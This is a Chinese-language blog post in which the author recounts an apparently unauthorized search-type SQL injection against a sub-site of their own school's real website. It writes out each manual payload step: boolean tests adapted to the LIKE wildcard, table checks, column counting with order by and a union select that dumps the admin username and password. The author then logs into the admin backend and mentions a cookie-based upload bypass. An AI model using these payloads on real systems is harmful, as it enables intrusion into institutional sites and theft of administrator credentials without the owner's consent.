对本校网站的一次搜索型注入练习
晚上在群里聊选课的事情,聊着聊着,竟然扯到学校网站的注入漏洞了,向师哥确认了一下存在注入漏洞的子站,便决定去看一下,练练手~ 话说这个子站我很久以前进行了一次检测,当时没有发现搜索注入的,但是师哥说这个注入漏洞已经存在两年了,难道是当时我检测的时候漏掉了什么?
打开网站,直奔主题,拖到最下面的搜索框,填入' ,果断报错。。。(话说截图好麻烦,我就不截图了。。。) 咦,难道真的是我当时没发现?
继续测试,填上了aa,搜出了一大堆东西来,然后继续测试,
在搜索框填入aa%' and 1=1 and '%'='%,搜索,报错。。。 怎么个情况。。。 这是在告诉我这次检测失败吗?
这是师哥在群里发来了一个连接,说里面有他的文章,就是说这个网站的,果断点进去开始下载,然后就是。。。漫长的等待。。。。。(也不知是那个服务器,下载速度慢的让人蛋疼。。。)
下载完成后,找到师哥的文章,跟截图比对了一下,就是这个注入点,没有错,那难道是语句的问题?仔细比对了一下,一下子我就醒悟了,原来是后面多了一个%。。。。 - -! 我竟然忘记了在查询数据库时后面还有一个通配符。。。
例:sql= select * from news where title like '%关键字%';
注入构造的语句是 select * from news where title like '%关键字%' and 1=1 and '%'='%';
知道原因后,马上开始
aa%' and 1=1 and '%'=' 返回正常
aa%' and 1=2 and '%'=' 返回错误 存在搜索型注入漏洞。。。
看了一下师哥的文章,他到这里以后就直接丢工具了,我这里准备手工搞一下,熟悉一下代码,呵呵,开始
aa%' and exists(select * from admin)-- 返回正常
aa%' and exists(select username from admin)-- 正常 进展的还真是异常的顺利啊
aa%' order by xx-- 16正常,17错误
接下来开始爆字段内容
aa%' and 1=2 union select 1,2,3,4.....16 from admin-- 发现5,6两个字段可用
替换为 aa%' and 1=2 union select 1,2,3,4,username,password,7,8.....16 from admin-- 成功爆出管理员帐号密码
登录后台逛了一下,有一个上传点,貌似师哥在文章里提过可以用cookies绕过,这里就不搞了,这次主要是练练手,熟悉一下手工注入。
通过这次练习,还是对搜索注入有了进一步的了解的,还有就是注入语句的构造要自己动一下脑子才能得到应有的效果,还有一点就是在猜解表名和字段的时候,可以用col_name等系统函数来列出来,会省下很多时间。。。 嗯嗯 大概就是这个样子。小菜有错误的地方欢迎指正~ o(∩_∩)o 呵呵~
江山代有才人出~{smile:4}